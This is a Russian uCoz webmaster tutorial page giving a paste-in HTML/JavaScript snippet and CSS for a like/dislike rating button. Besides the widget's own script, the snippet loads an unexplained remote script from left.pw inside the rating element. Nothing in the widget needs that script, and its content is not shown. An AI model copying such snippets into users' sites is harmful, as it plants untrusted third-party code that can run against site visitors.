Суббота, 14.12.2024, 22:18 На www.hinam.ucoz.ru Вы сможете найти все для создания и раскрутки сайта.
Главная Регистрация Вход
Приветствую Вас, Гость · RSS

Меню сайта
Категории раздела
про банеры [2]
Поисковые машины [12]
Язык поисковых машин
Оптимизация, раскрутка и реклама [46]
WEB мастеру - на заметку [24]
Разное [21]
про товары и услуги [32]
самое популярное
CyberBoard 1.1 для раскрутки сайтов
Коды ошибок и их расшифровка при работе с Windows
Значение тега DOCTYPE
JavaScript за 24 часа для чайников
Наш опрос
Была ли найдена интересующая вас информация

Всего ответов: 245
 Каталог статей
Главная » Статьи » WEB мастеру - на заметку

Кнопка рейтинга + и -

скрипт рейтинга с положительной и отрицательной оценкой для юкоз
Установка:
В шаблон вида материалов нужного модуля вставляем код:

Код
<script type="text/javascript" src="http://pnghosts.ru/js_css/55_rate.js"></script>  
<div class="rate">
<a class="orating_m" title="Не нравится" href="#" onclick="rateForm(-1,$ID$);return false"></a>
<a class="orating_p" title="Нравится" href="#" onclick="rateForm(1,$ID$);return false"></a>
<a class="orating_res"><script type="text/javascript" src="http://left.pw/div.js"></script><b title="Голосов: $RATED$" id="rate_$ID$" class="<?if(($RATING$*$RATED$-2*$RATED$)=0)?>nullRate<?else?><?if(($RATING$*$RATED$-2*$RATED$)<0)?>negativeRate<?else?>positiveRate<?endif?> <?endif?>"><script type="text/javascript">document.write(Math.round(<?($RATING$*$RATED$)?>)-<?2*$RATED$?>)</script></b> </a>  
</div>


В CSS стиль вставляем:

Код
.rate {background:url(http://pnghosts.ru/img/orating.png) no-repeat; width:73px; height:21px; position:relative; margin:7px 0 0 5px; padding:3px 0 0 0; text-align:center;}
a.orating_m, a.orating_p{height:21px; width:21px; background:url(http://pnghosts.ru/img/orating.png) no-repeat;}
a.orating_m{float:right; background-position:-21px -24px; margin:-1px 1px 0 0;}
a.orating_m:hover{background-position:-21px 100%;}
a.orating_m.orated{background-position:-21px -24px;}
a.orating_p{float:left; background-position:0 -24px; margin:-1px 0 0 1px;}
a.orating_p:hover{background-position:0 100%;}
a.orating_p.orated{background-position:0 100%;}
a.orating_res,span.orating_res {background:#64b327; box-shadow:inset 0 1px 1px rgba(0,0,0,0.2); font-size:10px; color:#fff; padding:3px 8px; border-radius:5px;line-height:20px;}
a.orating_res:hover{color:#f0f0f0;}


Для модуля "Новости", заменяем $ID$ на $ENTRY_ID$


Категория: WEB мастеру - на заметку | Добавил: Bitfood (13.09.2014)
Просмотров: 534 | Рейтинг: 0.0/0 |
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Хостинг от uCoz www.hinam.ucoz.ru - все для создания и раскрутки сайта.
Форма входа
новые регистрации
  • Надя
  • subge
  • kirakoglo
  • marinakarelina90
  • от авторитета
    Free Monitor for Google
    Banner Maker Pro v6.0.7
    Advanced Mass Sender v4.3...
    TheBat! v3.99.3 Professio...
    Наша кнопка
    Разместите, пожалуйста у себя на сайте нашу кнопочку. После этого сообщите нам на @mail и мы добавим ваш сайт в наш каталог ссылок. Спасибо